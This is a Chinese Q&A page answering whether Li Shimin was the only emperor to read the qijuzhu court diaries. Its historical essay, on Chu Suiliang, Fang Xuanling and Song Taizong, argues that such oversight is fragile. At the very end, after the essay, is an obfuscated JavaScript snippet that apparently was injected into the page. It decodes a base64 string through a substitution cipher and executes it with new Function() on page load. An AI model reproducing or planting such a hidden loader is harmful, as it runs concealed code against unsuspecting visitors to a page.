李世民是唯一查看过起居注的帝王吗?他为什么又允许史官将他查看起居注这件事记录史册的呢?

2025-03-24 21:10:56
推荐回答(1个)
回答(1):

起居注是古代史官“录纪人君言行动止之事”的史书(相当于他们的“每日汇要”)。古人做史官,往往是要有几根硬骨头的。“秉笔直书”是史家们崇尚的美德。文天祥《正气歌》中的“在齐太史简,在晋董狐笔”,歌颂的就是古代的几个“良史”代表。

在没有新闻媒体的古代,写史是一种重要的舆论监督方式,而起居注尤其是这样。唐朝以前,按照不成文的规定,起居注是不允许皇帝看的。多数皇帝都遵守着这个规矩,但也有例外。

《旧 唐书·褚遂良传》和《资治通鉴》(第一百九十六卷)载:贞观年间,褚遂良负责记录唐太宗李世民的起居注。有一次,李世民想取过来看一看,褚遂良以“不闻帝 王躬自观史”为由拒绝了。李世民问他:“我干了坏事,你也一定要记下吗?”褚遂良说:“这是我的职责,当然一定要记。”黄门侍郎刘洎接过话题说:“皇帝有 过失,就像日食和月食一样,人们都能看见。即使遂良不记,天下人也记着呢!”

褚遂良是好样的,拒绝了李世民的“非分要求 ”。然而,李世民想看起居注的念头并未就此打消。第二年(贞观十七年,公元643年),李世民找到监修国史的房玄龄,提出看国史的要求。房玄龄本来也想拒 绝,谏议大夫朱子奢劝他说没必要看,但李世民坚持要看,房玄龄便让步了。总算李世民是个有素质的帝王,当他看到“书六月四日事,语多微隐”———
史官对当年玄武门事变的内容含糊其辞,还要求“削去浮词,直书其事”,让他们如实补记当时的情景(见《资治通鉴》第一百九十七卷)。

李 世民之前有没有哪个皇帝看过起居注,笔者没有查到相关史料。《资治通鉴》第二百四十六卷还提到,近二百年之后,李世民的后人唐文宗也想看起居注,但被起居 舍人魏謩拒绝了。唐文宗说:“过去我曾经看过呢。”魏謩说:“那是以前的史官失职。如果陛下亲自观看,史官记载时便有所避讳,将来又怎么让后人相信呢?” 唐文宗这才作罢。

从理论上来说,起居注这种“儆戒人君”的“舆论监督”功能是可以发挥良好作用的,但从李世民破例和唐文 宗曾经观史这两件事来看,它的“舆论监督”功能又令人存疑:如果皇帝硬要干扰史官的工作的话,这起居注还真能写得那么理想吗?如果史官不自觉遵守“职业道 德”的话,这项制度还能如实执行吗?答案已经摆在历史上了:到了北宋,宋太宗就改了皇帝不看起居注的规定,于太平兴国八年(公元983年)命令参知政事李 昉记下的时政记必须先送皇帝审阅,然后再送史馆,起居注院所编的起居注也参照执行。

可见,起居注这种监督方式,是很不可 靠的。其一,它完全靠双方的自觉来维系这种监督作用。古人的迷信思想严重,是有神论者,所以,帝王权力虽大,但害怕上天的惩罚,行事不敢太过分,既然祖上 有规矩不能看起居注,那就不看吧。但万一某个皇帝不信这个了,起了想看的念头怎么办?碰上褚遂良、魏謩做史官,可能还会僵持一阵,碰上房玄龄,不就很快破 例、违规了?可见,这种仅靠双方自觉,没有强制措施(特别是问责机制)的监督,是非常脆弱的,不能让人放心。

其二,监督 与被监督双方的力量过于悬殊,不成比例。一边是国家最高统治者,手上掌握着生杀予夺的大权,一边是手无寸铁(只有一支根本不能自卫的秃笔)的史官,双方万 一发生了点什么,这样的力量对比,能产生什么结果?总不能要求各个史官都像齐太史那样付出生命的代价吧?正因为如此,宋太宗才可以一句话就把这个规矩改 了。

其三,双方是领导与被领导的关系,所谓“独立写史”,难以真正实现。对一般的史官来说,他们端的是皇家的饭碗,心里 没点顾忌是不可能的,所以,即使唐太宗不看,玄武门事变的记载也是闪烁其词。倒是刘洎说的“遂良不记,天下人也都记着”更有些道理:皇权虽大,也有鞭长莫 及的地方,天下的舆论工具,未必全被皇帝控制着,对那些管不到的人,他就没辙了。宋太宗亲自审定时政记、起居注,于是,关于宋太宗谋害其兄宋太祖的说法, 在北宋的官方史料中便难以找到;可是,宋太宗想不到的是,辽国的史籍却留下了对他不利的记载———
由此看来,有效的监督,光靠自觉是远远不够的,而应有制度做保障;监督者除了能尽职,自身还要有相应的力量;双方应当摆脱隶属关系,让监督权真正实现独立行使。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();